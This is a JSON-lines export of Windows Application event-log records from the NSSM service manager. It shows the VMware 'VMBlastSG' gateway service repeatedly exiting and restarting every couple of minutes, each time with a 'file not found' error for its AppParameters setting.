{"@timestamp":1646791207543,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164280}}
{"@timestamp":1646791207544,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160780","0"]}}},"module":"Application","provider":"nssm","sequence":164281}}
{"@timestamp":1646791207544,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160780","160780","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164282}}
{"@timestamp":1646791207562,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164283}}
{"@timestamp":1646791207562,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164284}}
{"@timestamp":1646791207563,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164285}}
{"@timestamp":1646791207564,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164286}}
{"@timestamp":1646791336278,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164287}}
{"@timestamp":1646791336278,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164288}}
{"@timestamp":1646791336279,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161592","0"]}}},"module":"Application","provider":"nssm","sequence":164289}}
{"@timestamp":1646791336279,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161592","161592","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164290}}
{"@timestamp":1646791336295,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160772","0"]}}},"module":"Application","provider":"nssm","sequence":164291}}
{"@timestamp":1646791336295,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160772","161592","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164292}}
{"@timestamp":1646791336310,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164293}}
{"@timestamp":1646791336311,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164294}}
{"@timestamp":1646791336311,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164295}}
{"@timestamp":1646791336312,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164296}}
{"@timestamp":1646791464934,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164297}}
{"@timestamp":1646791464935,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164298}}
{"@timestamp":1646791464935,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161572","0"]}}},"module":"Application","provider":"nssm","sequence":164299}}
{"@timestamp":1646791464935,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161572","161572","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164300}}
{"@timestamp":1646791464951,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164301}}
{"@timestamp":1646791464952,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164302}}
{"@timestamp":1646791464952,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164303}}
{"@timestamp":1646791464953,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164304}}
{"@timestamp":1646791593498,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164305}}
{"@timestamp":1646791593499,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164306}}
{"@timestamp":1646791593501,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159984","0"]}}},"module":"Application","provider":"nssm","sequence":164307}}
{"@timestamp":1646791593502,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159984","159984","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164308}}
{"@timestamp":1646791593518,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160956","0"]}}},"module":"Application","provider":"nssm","sequence":164309}}
{"@timestamp":1646791593519,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160956","159984","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164310}}
{"@timestamp":1646791593535,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164311}}
{"@timestamp":1646791593536,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164312}}
{"@timestamp":1646791593537,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164313}}
{"@timestamp":1646791593538,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164314}}
{"@timestamp":1646791721999,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164315}}
{"@timestamp":1646791721999,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164316}}
{"@timestamp":1646791722000,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161644","0"]}}},"module":"Application","provider":"nssm","sequence":164317}}
{"@timestamp":1646791722000,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161644","161644","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164318}}
{"@timestamp":1646791722016,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164319}}
{"@timestamp":1646791722017,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164320}}
{"@timestamp":1646791722017,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164321}}
{"@timestamp":1646791722018,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164322}}
{"@timestamp":1646791850491,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164323}}
{"@timestamp":1646791850493,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164324}}
{"@timestamp":1646791850494,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160408","0"]}}},"module":"Application","provider":"nssm","sequence":164325}}
{"@timestamp":1646791850494,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160408","160408","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164326}}
{"@timestamp":1646791850511,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164327}}
{"@timestamp":1646791850512,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164328}}
{"@timestamp":1646791850512,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164329}}
{"@timestamp":1646791850513,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164330}}
{"@timestamp":1646791978995,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164331}}
{"@timestamp":1646791978996,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164332}}
{"@timestamp":1646791978997,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158952","0"]}}},"module":"Application","provider":"nssm","sequence":164333}}
{"@timestamp":1646791978997,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158952","158952","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164334}}
{"@timestamp":1646791979013,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164335}}
{"@timestamp":1646791979014,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164336}}
{"@timestamp":1646791979014,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164337}}
{"@timestamp":1646791979015,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164338}}
{"@timestamp":1646792107481,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164339}}
{"@timestamp":1646792107482,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164340}}
{"@timestamp":1646792107483,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161320","0"]}}},"module":"Application","provider":"nssm","sequence":164341}}
{"@timestamp":1646792107483,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161320","161320","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164342}}
{"@timestamp":1646792107499,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164343}}
{"@timestamp":1646792107499,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164344}}
{"@timestamp":1646792107500,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164345}}
{"@timestamp":1646792107500,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164346}}
{"@timestamp":1646792235982,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164347}}
{"@timestamp":1646792235984,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164348}}
{"@timestamp":1646792235985,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157788","0"]}}},"module":"Application","provider":"nssm","sequence":164349}}
{"@timestamp":1646792235986,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157788","157788","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164350}}
{"@timestamp":1646792236002,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164351}}
{"@timestamp":1646792236002,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164352}}
{"@timestamp":1646792236003,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164353}}
{"@timestamp":1646792236004,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164354}}
{"@timestamp":1646792364571,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164355}}
{"@timestamp":1646792364572,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164356}}
{"@timestamp":1646792364573,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161448","0"]}}},"module":"Application","provider":"nssm","sequence":164357}}
{"@timestamp":1646792364575,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161448","161448","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164358}}
{"@timestamp":1646792364591,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164359}}
{"@timestamp":1646792364592,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164360}}
{"@timestamp":1646792364592,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164361}}
{"@timestamp":1646792364593,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164362}}
{"@timestamp":1646792493064,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164363}}
{"@timestamp":1646792493065,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164364}}
{"@timestamp":1646792493066,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161556","0"]}}},"module":"Application","provider":"nssm","sequence":164365}}
{"@timestamp":1646792493067,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161556","161556","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164366}}
{"@timestamp":1646792493083,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164367}}
{"@timestamp":1646792493083,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164368}}
{"@timestamp":1646792493084,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164369}}
{"@timestamp":1646792493085,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164370}}
{"@timestamp":1646792621581,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164371}}
{"@timestamp":1646792621583,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164372}}
{"@timestamp":1646792621584,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161780","0"]}}},"module":"Application","provider":"nssm","sequence":164373}}
{"@timestamp":1646792621585,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161780","161780","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164374}}
{"@timestamp":1646792621601,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164375}}
{"@timestamp":1646792621602,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164376}}
{"@timestamp":1646792621602,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164377}}
{"@timestamp":1646792621603,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164378}}
{"@timestamp":1646792750085,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164379}}
{"@timestamp":1646792750086,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164380}}
{"@timestamp":1646792750086,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156788","0"]}}},"module":"Application","provider":"nssm","sequence":164381}}
{"@timestamp":1646792750086,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156788","156788","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164382}}
{"@timestamp":1646792750104,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164383}}
{"@timestamp":1646792750105,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164384}}
{"@timestamp":1646792750105,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164385}}
